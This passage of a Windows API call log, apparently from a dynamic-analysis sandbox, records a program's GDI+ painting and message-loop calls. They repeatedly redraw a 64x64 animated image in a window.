lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0174.746] GdipCreateRegion (region=0x15d710) returned 0x0 [0174.746] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0174.746] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0174.747] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0174.747] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0174.747] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.747] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.747] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.747] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0174.747] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.748] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.748] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.748] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.748] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0174.748] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0174.748] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0174.749] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0174.749] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.749] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0174.749] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0174.749] GetCurrentObject (hdc=0x13010d02, type=0x1) returned 0x1b00017 [0174.749] GetCurrentObject (hdc=0x13010d02, type=0x2) returned 0x1900010 [0174.749] GetCurrentObject (hdc=0x13010d02, type=0x7) returned 0x1a05067e [0174.749] GetCurrentObject (hdc=0x13010d02, type=0x6) returned 0x18a002e [0174.749] SaveDC (hdc=0x13010d02) returned 1 [0174.749] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5c0407c3 [0174.749] GetClipRgn (hdc=0x13010d02, hrgn=0x5c0407c3) returned 0 [0174.749] SelectClipRgn (hdc=0x13010d02, hrgn=0x2c040b8a) returned 2 [0174.750] DeleteObject (ho=0x5c0407c3) returned 1 [0174.750] DeleteObject (ho=0x2c040b8a) returned 1 [0174.750] OffsetViewportOrgEx (in: hdc=0x13010d02, x=0, y=0, lppt=0x27541e8 | out: lppt=0x27541e8) returned 1 [0174.750] GetNearestColor (hdc=0x13010d02, color=0xffffff) returned 0xffffff [0174.750] CreateSolidBrush (color=0xffffff) returned 0x34100190 [0174.750] FillRect (hDC=0x13010d02, lprc=0x15d7c0, hbr=0x34100190) returned 1 [0174.750] DeleteObject (ho=0x34100190) returned 1 [0174.750] RestoreDC (hdc=0x13010d02, nSavedDC=-1) returned 1 [0174.750] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.751] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x13010d02) returned 0x0 [0174.751] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb7e0dbd) returned 0x0 [0174.751] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.751] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0174.751] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.751] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.751] GetSystemMetrics (nIndex=42) returned 0 [0174.751] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.751] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.751] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.751] CoTaskMemFree (pv=0x1e91eca0) [0174.751] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0174.751] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0174.751] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0174.752] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0174.752] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x13010d02, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.752] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.752] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x13010d02) returned 0x0 [0174.752] SelectObject (hdc=0x13010d02, h=0x185000f) returned 0x1a05067e [0174.752] DeleteDC (hdc=0x13010d02) returned 1 [0174.752] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.752] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0174.752] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0174.752] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0174.753] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.753] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.753] WaitMessage () returned 1 [0174.865] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.865] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.865] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.865] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.865] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.865] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0174.865] GetCurrentThreadId () returned 0xec0 [0174.865] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0174.865] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0174.866] IsWindowUnicode (hWnd=0x2031e) returned 1 [0174.866] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0174.866] TranslateMessage (lpMsg=0x15e910) returned 0 [0174.866] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0174.866] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0174.866] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0174.866] CreateCompatibleDC (hdc=0x3010b83) returned 0x14010d02 [0174.866] SelectObject (hdc=0x14010d02, h=0x1a05067e) returned 0x185000f [0174.867] GdipCreateFromHDC (hdc=0x14010d02, graphics=0x15daf0) returned 0x0 [0174.867] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0174.867] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0174.867] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0174.867] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0174.867] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0174.867] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.867] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0174.868] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.868] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.868] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0174.868] GdipCreateRegion (region=0x15dc20) returned 0x0 [0174.868] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0174.868] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0174.869] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0174.869] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.869] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.869] GetSystemMetrics (nIndex=42) returned 0 [0174.869] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.869] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.869] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.869] CoTaskMemFree (pv=0x1e91eca0) [0174.869] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0174.869] GdipCreateRegion (region=0x15d710) returned 0x0 [0174.869] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0174.870] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0174.870] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0174.870] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0174.870] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.870] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.870] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.870] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0174.870] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0174.871] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0174.871] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0174.871] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.871] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0174.871] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0174.871] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0174.871] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0174.872] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.872] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0174.872] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0174.872] GetCurrentObject (hdc=0x14010d02, type=0x1) returned 0x1b00017 [0174.872] GetCurrentObject (hdc=0x14010d02, type=0x2) returned 0x1900010 [0174.872] GetCurrentObject (hdc=0x14010d02, type=0x7) returned 0x1a05067e [0174.872] GetCurrentObject (hdc=0x14010d02, type=0x6) returned 0x18a002e [0174.872] SaveDC (hdc=0x14010d02) returned 1 [0174.872] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2d040b8a [0174.872] GetClipRgn (hdc=0x14010d02, hrgn=0x2d040b8a) returned 0 [0174.872] SelectClipRgn (hdc=0x14010d02, hrgn=0x5d0407c3) returned 2 [0174.873] DeleteObject (ho=0x2d040b8a) returned 1 [0174.873] DeleteObject (ho=0x5d0407c3) returned 1 [0174.873] OffsetViewportOrgEx (in: hdc=0x14010d02, x=0, y=0, lppt=0x2754b20 | out: lppt=0x2754b20) returned 1 [0174.873] GetNearestColor (hdc=0x14010d02, color=0xffffff) returned 0xffffff [0174.873] CreateSolidBrush (color=0xffffff) returned 0x35100190 [0174.873] FillRect (hDC=0x14010d02, lprc=0x15d7c0, hbr=0x35100190) returned 1 [0174.873] DeleteObject (ho=0x35100190) returned 1 [0174.873] RestoreDC (hdc=0x14010d02, nSavedDC=-1) returned 1 [0174.874] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.874] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x14010d02) returned 0x0 [0174.874] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb7c0dbd) returned 0x0 [0174.874] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.874] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0174.874] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0174.874] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.874] GetSystemMetrics (nIndex=42) returned 0 [0174.874] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0174.874] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0174.874] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0174.874] CoTaskMemFree (pv=0x1e91eca0) [0174.874] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0174.876] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0174.876] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0174.877] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0174.877] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0174.877] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x14010d02, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.877] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.877] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x14010d02) returned 0x0 [0174.877] SelectObject (hdc=0x14010d02, h=0x185000f) returned 0x1a05067e [0174.877] DeleteDC (hdc=0x14010d02) returned 1 [0174.877] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0174.877] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0174.877] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0174.877] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0174.878] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.878] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0174.878] WaitMessage () returned 1 [0175.011] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.011] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.011] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.011] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.011] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.012] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0175.012] GetCurrentThreadId () returned 0xec0 [0175.012] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0175.012] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.012] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.012] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.012] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.012] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.012] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0175.012] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0175.012] CreateCompatibleDC (hdc=0x2d010b73) returned 0x5010d05 [0175.013] SelectObject (hdc=0x5010d05, h=0x1a05067e) returned 0x185000f [0175.013] GdipCreateFromHDC (hdc=0x5010d05, graphics=0x15daf0) returned 0x0 [0175.013] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0175.013] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0175.013] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0175.013] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0175.013] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0175.013] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.013] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0175.014] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.014] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.014] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0175.014] GdipCreateRegion (region=0x15dc20) returned 0x0 [0175.015] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0175.015] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0175.015] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0175.015] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.015] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.015] GetSystemMetrics (nIndex=42) returned 0 [0175.015] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.015] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.015] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.015] CoTaskMemFree (pv=0x1e91eca0) [0175.015] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0175.015] GdipCreateRegion (region=0x15d710) returned 0x0 [0175.015] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0175.015] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0175.015] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0175.015] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0175.016] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.016] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.016] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.016] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0175.016] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.016] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.016] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.017] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.017] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0175.017] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0175.017] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0175.017] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0175.017] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.017] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0175.017] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0175.017] GetCurrentObject (hdc=0x5010d05, type=0x1) returned 0x1b00017 [0175.017] GetCurrentObject (hdc=0x5010d05, type=0x2) returned 0x1900010 [0175.017] GetCurrentObject (hdc=0x5010d05, type=0x7) returned 0x1a05067e [0175.017] GetCurrentObject (hdc=0x5010d05, type=0x6) returned 0x18a002e [0175.017] SaveDC (hdc=0x5010d05) returned 1 [0175.017] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5e0407c3 [0175.017] GetClipRgn (hdc=0x5010d05, hrgn=0x5e0407c3) returned 0 [0175.018] SelectClipRgn (hdc=0x5010d05, hrgn=0x2e040b8a) returned 2 [0175.018] DeleteObject (ho=0x5e0407c3) returned 1 [0175.019] DeleteObject (ho=0x2e040b8a) returned 1 [0175.019] OffsetViewportOrgEx (in: hdc=0x5010d05, x=0, y=0, lppt=0x2755dd8 | out: lppt=0x2755dd8) returned 1 [0175.019] GetNearestColor (hdc=0x5010d05, color=0xffffff) returned 0xffffff [0175.019] CreateSolidBrush (color=0xffffff) returned 0x36100190 [0175.019] FillRect (hDC=0x5010d05, lprc=0x15d7c0, hbr=0x36100190) returned 1 [0175.019] DeleteObject (ho=0x36100190) returned 1 [0175.019] RestoreDC (hdc=0x5010d05, nSavedDC=-1) returned 1 [0175.020] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.020] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5010d05) returned 0x0 [0175.020] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb7a0dbd) returned 0x0 [0175.020] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.020] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0175.020] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.020] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.020] GetSystemMetrics (nIndex=42) returned 0 [0175.021] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.021] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.021] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.021] CoTaskMemFree (pv=0x1e91eca0) [0175.021] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0175.021] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0175.021] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0175.021] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0175.021] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x5010d05, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.021] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.021] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5010d05) returned 0x0 [0175.021] SelectObject (hdc=0x5010d05, h=0x185000f) returned 0x1a05067e [0175.021] DeleteDC (hdc=0x5010d05) returned 1 [0175.021] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.022] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0175.022] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0175.022] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0175.022] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.022] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.022] WaitMessage () returned 1 [0175.145] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.145] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.145] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.145] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.145] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.145] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0175.146] GetCurrentThreadId () returned 0xec0 [0175.146] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0175.146] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.146] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.146] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.146] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.146] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.146] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0175.146] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0175.146] CreateCompatibleDC (hdc=0x2d010b73) returned 0x21010d05 [0175.146] SelectObject (hdc=0x21010d05, h=0x1a05067e) returned 0x185000f [0175.146] GdipCreateFromHDC (hdc=0x21010d05, graphics=0x15daf0) returned 0x0 [0175.147] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0175.147] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0175.147] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0175.147] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0175.147] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0175.147] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.147] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0175.147] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.148] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.148] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0175.148] GdipCreateRegion (region=0x15dc20) returned 0x0 [0175.148] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0175.148] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0175.148] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0175.148] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.148] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.148] GetSystemMetrics (nIndex=42) returned 0 [0175.148] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.148] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.148] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.148] CoTaskMemFree (pv=0x1e91eca0) [0175.148] GetClientRect (in: 